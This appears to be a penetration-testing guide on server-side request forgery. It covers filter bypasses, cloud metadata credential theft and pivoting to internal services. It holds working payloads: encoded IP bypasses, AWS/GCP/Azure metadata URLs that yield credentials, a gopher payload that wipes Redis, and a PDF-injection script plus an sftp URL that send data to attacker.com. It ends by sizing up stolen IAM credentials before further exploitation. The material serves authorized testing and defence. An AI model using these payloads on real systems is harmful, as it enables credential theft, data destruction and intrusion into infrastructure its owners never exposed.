Advanced SSRF Techniques: Bypassing Filters and Pivoting to Internal Services

Server-Side Request Forgery (SSRF) occurs when an attacker can induce the server-side application to make HTTP requests to an arbitrary domain or IP address. In cloud environments, SSRF is often critical — a single request to the cloud metadata endpoint can yield credentials with full infrastructure access. This guide covers advanced SSRF exploitation and filter bypass techniques.

Identifying SSRF Entry Points

SSRF vulnerabilities hide in any feature that fetches a URL on the user's behalf:

• Webhook URL configuration
• Link preview / URL preview features
• Import data from URL (CSV import, feed import)
• PDF generation from URL
• Image fetching or proxying
• OAuth redirect URI validation
• XML/JSON parsers with external entity support

Bypassing IP-Based Filters

Applications often block requests to private IP ranges. These blocks are frequently bypassable:

Decimal and Hex IP Representation

# 127.0.0.1 in alternate formats:
http://2130706433/         # Decimal integer
http://0x7f000001/         # Hexadecimal
http://0177.0.0.1/         # Octal first octet
http://0x7f.0x0.0x0.0x1/  # Hex per octet
http://127.1/              # Short notation
http://127.0.1/            # Short notation variant

# 169.254.169.254 (AWS metadata) in alternate formats:
http://2852039166/         # Decimal
http://0xa9fea9fe/         # Hex

IPv6 Bypass

# IPv6 loopback:
http://[::1]/
http://[::ffff:127.0.0.1]/
http://[::ffff:7f00:1]/

# IPv6 representation of 169.254.169.254:
http://[::ffff:169.254.169.254]/
http://[::ffff:a9fe:a9fe]/

DNS Rebinding

DNS rebinding exploits the gap between DNS validation and request execution. An attacker-controlled domain initially resolves to an allowed IP (e.g., their own server) to pass validation, then the DNS TTL expires and the domain resolves to a private IP for the actual fetch:

# Service: https://lock.cmpxchg8b.com/rebinder.html
# Set domain to alternate between your public IP and 127.0.0.1
# Use a very low TTL (1 second)

# Step 1: SSRF filter resolves domain → returns your public IP → allowed
# Step 2: Fetch occurs → domain re-resolves → returns 127.0.0.1
# Step 3: Application fetches http://127.0.0.1/admin

URL Redirectors

# Use an open redirect on a trusted domain to bounce to private IP:
http://trusted.com/redirect?url=http://169.254.169.254/

# Common open redirect parameters:
?url=, ?redirect=, ?next=, ?return=, ?go=, ?target=

# Using attacker-controlled domain with redirect:
# Set up: curl -v http://attacker.com/meta
# Returns: HTTP/1.1 301 Location: http://169.254.169.254/latest/meta-data/

Cloud Metadata API Access

AWS IMDSv1

# No authentication required — direct access:
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE_NAME]

# Response contains:
{
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "...",
  "Token": "...",
  "Expiration": "..."
}

AWS IMDSv2 Bypass

IMDSv2 requires a PUT request to obtain a session token before metadata access:

# Step 1: Get IMDSv2 token via PUT (may work through SSRF if PUT is supported):
PUT http://169.254.169.254/latest/api/token
X-aws-ec2-metadata-token-ttl-seconds: 21600

# Step 2: Use token in GET request:
GET http://169.254.169.254/latest/meta-data/
X-aws-ec2-metadata-token: [TOKEN]

# Note: Many SSRF scenarios only support GET — IMDSv2 provides meaningful protection in these cases

Google Cloud Platform

http://metadata.google.internal/computeMetadata/v1/
http://169.254.169.254/computeMetadata/v1/
# Requires header: Metadata-Flavor: Google

# Service account token:
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

Azure

http://169.254.169.254/metadata/instance?api-version=2021-02-01
# Requires header: Metadata: true

# Access tokens:
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/

Pivoting to Internal Services

Once SSRF is confirmed, scan internal services:

# Common internal targets:
http://localhost:6379/         # Redis
http://localhost:9200/         # Elasticsearch
http://localhost:8500/         # Consul
http://localhost:2375/         # Docker daemon (unprotected)
http://localhost:8080/manager/ # Tomcat manager
http://192.168.1.1/            # Router admin panel

# Redis via SSRF (Gopher protocol if supported):
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A

SSRF via PDF Generators

Server-side PDF generators (wkhtmltopdf, headless Chrome, PhantomJS) are excellent SSRF vectors because they render full HTML including script execution and internal network requests:

# If the app generates PDFs from user content:
<iframe src="http://169.254.169.254/latest/meta-data/"></iframe>
<img src="http://internal.service.corp/admin/users">
<script>document.write('<img src="http://attacker.com/?'+document.body.innerHTML+'>');</script>

Blind SSRF with Out-of-Band Detection

When SSRF is present but the response is not reflected, use out-of-band detection:

# Use Burp Collaborator or interactsh:
https://target.com/api/preview?url=https://your-collaborator-id.burpcollaborator.net/

# DNS-only SSRF (some backends only perform DNS lookups):
# Even a DNS lookup to your collaborator confirms SSRF

Use the Recon Hub to identify all URL-accepting parameters across the target before beginning SSRF testing. See our API Security Top 10 guide for SSRF in API contexts specifically.

SSRF via URL Parser Quirks

Different HTTP client libraries parse URLs differently, and these inconsistencies create bypass opportunities when a security validation layer uses one parser while the backend HTTP client uses another.

Curl and Wget Quirks

# URL with embedded auth that some validators pass but backends mishandle:
http://169.254.169.254:[email protected]/

# Fragment-based confusion (some parsers stop at #):
http://evil.com#@expected-host.com/

# Backslash normalization (some parsers convert  to /):
http://expected-host.com\@evil.com/

Protocol Handler Abuse

Beyond HTTP, test alternative protocol handlers that the underlying client library may support:

dict://127.0.0.1:11211/    # Memcached enumeration
ftp://127.0.0.1:21/        # FTP banner and directory listing
ldap://127.0.0.1:389/      # LDAP queries
sftp://attacker.com/       # Out-of-band data exfiltration via SSH

Escalating Blind SSRF to Full Data Read

When you have blind SSRF but responses are not reflected in the HTTP response, several escalation techniques apply. If the application behaves differently when a URL returns 200 vs. 404, you can binary search the internal network to map live services. DNS rebinding can sometimes escalate blind SSRF to full response exfiltration. Additionally, some applications log SSRF responses to error logs that are separately accessible through a path traversal or LFI vulnerability — combining both findings achieves complete data exfiltration where neither finding alone would suffice.

Use the Secret Scanner to analyze any leaked cloud credentials for active IAM permissions. AWS credentials obtained via IMDSv1 SSRF frequently have broad permissions — run aws sts get-caller-identity and aws iam list-attached-user-policies to understand the blast radius before proceeding with exploitation.